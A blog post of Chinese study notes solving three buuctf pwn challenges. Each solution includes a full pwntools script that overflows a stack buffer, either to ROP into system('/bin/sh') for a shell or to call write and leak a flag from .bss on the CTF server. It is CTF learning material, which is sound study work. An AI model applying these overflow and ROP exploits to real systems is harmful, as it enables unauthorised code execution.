学习笔记:buuctf pwn题

1.jarvisoj_level2_x64

2.[HarekazeCTF2019]baby_rop

3.not_the_same_3dsctf_2016

1.jarvisoj_level2_x64:

先checksec:

64位,开启了NX保护。用ida64打开:

 进入function函数:

 

看见read函数,存在溢出,f12,发现/bin/sh,更进:

 在ida右侧可以知道system的函数地址,所以可以构造payload,获取shell,代码:

from pwn import*

io = remote('node4.buuoj.cn',26749)

#payload = b'a'*(0x80+8) + p64(0x4006b3) + p64(0x40063e) + p64(0x600a90)
payload = b'a'*(0x80+8) + p64(0x4006b3) + p64(0x600a90) + p64(0x40063e)

io.recvline()
io.sendline(payload)

io.interactive()

 在system和/bin/sh的地址之间还需要插入一个地址。

2.[HarekazeCTF2019]baby_rop

也是64位,ida64打开,找到main:

 scanf函数,存在溢出漏洞,有system函数,f12,发现/bin/sh。

和上一题一样的解法,构造payload,

from pwn import*

io = remote('node4.buuoj.cn',28299)

payload = b'a'*(0x10+8) + p64(0x400683) + p64(0x601048) + p64(0x400490)

io.sendline(payload)

io.interactive()

 获取shell,得到flag。

3.not_the_same_3dsctf_2016:

ida打开:

 gets函数,没有限制输入个数,存在溢出,f12,没有发现/bin/sh,但有一个flag.txt, 在get_secret函数里面。fpoen打开了flag.txt,并存入了v0,fget又把v0赋给了fl4g,并且fl4g在bss字段上面。因为该程序里面存在write函数,因此,可以通过write函数读取bss字段的fl4g,得到flag。

代码:

from pwn import *

#io = process('./not_the_same_2016')
io = remote('node4.buuoj.cn',27884)

get_sercet_addr = 0x80489a0
write_addr = 0x806e270

flag_bss = 0x80eca2d

payload = b'a'*(0x2d) + p32(get_sercet_addr) + p32(write_addr) + b'a'*4 + p32(1) + p32(flag_bss) + p32(45)

io.sendline(payload)

io.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值